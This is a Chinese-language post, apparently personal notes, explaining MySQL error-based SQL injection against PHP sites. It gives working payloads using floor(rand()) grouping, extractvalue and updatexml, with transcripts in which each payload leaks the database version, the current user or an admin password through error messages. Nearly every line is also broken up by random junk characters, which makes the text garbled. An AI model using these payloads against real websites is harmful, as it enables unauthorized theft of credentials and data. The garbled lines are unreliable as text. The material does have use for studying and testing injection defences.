放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
" G3 f J' e L' M6 X实际测试环境:
1 N( b9 }& z) v
. D, Y$ }8 ]; K% l $ _# j9 \! f% P, a! p# P' o
mysql> show tables;. E* x! Z7 d0 @8 m# H
+----------------+. G3 D' e/ x8 c" L. p' J8 |
| Tables_in_test |
$ N) M% Y* W% F5 _+----------------+
, `% j' F- d/ r E& r0 q3 H J| admin |
( x/ ~" F! w0 t3 I) t| article |) g, o3 n, N9 s. j9 U3 h- V
+----------------+! A, X, `, X/ G9 ~- c: T2 } u
4 L/ k* r. o' a- X
$ Q& S8 t# i* g, ~3 s
3 @ B; C' o5 _ H
mysql> describe admin;
! n# n0 t3 _; `& Q0 H. E+-------+------------------+------+-----+---------+----------------+
; q# C# n$ G Z| Field | Type | Null | Key | Default | Extra |
) R* f" M; J q; [4 g+-------+------------------+------+-----+---------+----------------+
, N& M6 O8 e- a% {! D* f4 F. o| id | int(10) unsigned | NO | PRI | NULL | auto_increment |1 i, H) b1 \1 I$ f
| user | varchar(50) | NO | | NULL | |
8 m. K: b. Y @6 k* f6 @| pass | varchar(50) | NO | | NULL | |
3 N+ A X! K# @/ c" E; N+-------+------------------+------+-----+---------+----------------+
: \1 Z1 g& ~3 G3 X& G; [5 R" U & a# R3 ~4 x: D) _1 j# F
3 v8 W p. m+ h h3 _( d6 V( y
0 g6 `) p) |% X: T3 o- i0 ^ _mysql> describe article;. |1 L5 x& Y& Q" X4 g
+---------+------------------+------+-----+---------+----------------+' \- D7 o# u/ E$ T# Q8 O9 Y0 g8 v
| Field | Type | Null | Key | Default | Extra |# P7 W( O$ z+ B7 R3 U0 Z
+---------+------------------+------+-----+---------+----------------+ {" }/ j5 ]+ e0 L
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
& `: c' {' {+ S% d| title | varchar(50) | NO | | NULL | |; ~3 r* J; z6 r. {0 X
| content | varchar(50) | NO | | NULL | |
4 ~' ~, C! X4 S) u& m+---------+------------------+------+-----+---------+----------------+
% a9 ]1 ?8 D" Y& |7 O1、通过floor报错( a! p1 X( ]! e, d2 p
可以通过如下一些利用代码
$ Z- U2 Y- J" i" f" s8 \( K! s 5 `# w J9 ^6 T- b5 Z& h
7 E# Y% u# N/ n% B1 K) r4 R
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x" T8 A) ?1 ~& c) b
from information_schema.tables group by x)a);
5 J! z7 d/ b/ k# H1 q
. C; u ~% s: n2 u
$ ~9 ~' O" ^7 U @1 Land (select count(*) from (select 1 union select null union select !1)x" @9 N1 u- [; z* ~6 \
group by concat((select table_name from information_schema.tables limit 1),& ?0 d2 F+ E/ A: f( }
floor(rand(0)*2)));
) y& a" Y0 W" K/ L* [举例如下:1 F' t, g4 {; H/ ]2 v1 s
首先进行正常查询:
6 s0 M O0 k2 g; H
3 t- g& ~9 @$ V0 h: Gmysql> select * from article where id = 1;! a# c# ?6 @ l$ c5 K6 A7 }" ^
+----+-------+---------+, }9 Z# ]! K: y+ U) G; d1 u% p
| id | title | content |
2 E7 \! L6 l+ o# k ~2 O% w- |, E+----+-------+---------+
) C b+ J* k: r4 V, r, J| 1 | test | do it |8 F8 u2 L& T9 u+ n$ ~
+----+-------+---------+
. y8 _& N1 p, e- E: g假如id输入存在注入的话,可以通过如下语句进行报错。
% o1 T) @& G" _3 {8 O4 A7 j
, z4 o2 y* G, i
6 u' Z# V8 h2 @$ imysql> select * from article where id = 1 and (select 1 from2 @+ A& b5 p6 Z% ]2 `9 f5 a
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
( t2 _7 g M1 M$ yERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'* [- N/ V% V8 x8 G* D D
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
' z( z, o6 L* o3 H, y2 U例如我们需要查询管理员用户名和密码:
# c' B1 V" U' p% H0 QMethod1:
7 ^8 k% P2 d! I7 b3 P# ~8 |/ K 1 a9 J' L8 L" D- [3 k5 B, G
( c8 E, S. y3 Rmysql> select * from article where id = 1 and (select 1 from, |# x8 W2 K1 p' P5 u) i
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
/ S/ W- j! k+ A' Z, vfrom information_schema.tables group by x)a);
# `* l$ r. i) j2 W1 ZERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
" h7 n: A# U: q0 h# [3 O7 h% NMethod2:
# L1 y4 U* N" V, [! h7 Y
! r- v5 B4 X \0 [# \ ) `. u t; d# H8 }5 }5 r) q
mysql> select * from article where id = 1 and (select count(*)2 l0 f/ u9 h0 ? n' |' L% J0 F1 ~
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
2 F- ?" L/ i8 t+ i, G+ E* Rfloor(rand(0)*2)));
' m! `% ]3 J- v0 A n6 xERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
! K7 R0 F+ N. b2 W& R2、ExtractValue
8 G! t& M% X- z% \$ n( [测试语句如下# S3 o4 z( h2 E4 j x) V# ]- i
& o7 G: B' `* v% R q
8 O! S" y7 Q. h! W3 \/ [7 }! i/ E: yand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));9 U( R" V- u4 `% l1 v; l& K0 M
实际测试过程2 g* a, B6 [0 k) Y6 ~# l2 K& {
5 i# ` Z- o6 t: Q, z6 a
0 @: u* Q% a. N0 @) hmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,* Z( {, H+ s6 Y) M+ Y) Z v! ?, ~
(select pass from admin limit 1)));--
1 w; i1 _7 o3 _. t3 d ^ERROR 1105 (HY000): XPATH syntax error: '\admin888'" H5 O6 N) W4 o6 B2 Z/ h& m& F
3、UpdateXml9 w: G3 n3 @) q4 R4 I
测试语句+ _1 k! k1 j* @$ b* p
5 z# ?1 Z" {1 A) b+ g ) ]0 A4 Q, r# h/ x5 d
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
& A% |( N" Q4 h# l& {9 N( l7 l实际测试过程" c3 s$ B5 T+ M
4 N! B) G; L* i8 P
^ X N4 c4 K& A! j1 Cmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,3 W* P' q! z3 _* W$ e
(select pass from admin limit 1),0x5e24),1));! D* _/ ?# S: S4 O# q
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
: A$ Y' L4 K/ o% q* ~ T. p) ^All, thanks foreign guys.
6 l8 x# c) g E0 V
5 ?. T& {+ u9 t3 _! c# { I. q. Y/ Q! k/ |5 T5 Z1 c3 y6 N6 H7 N
|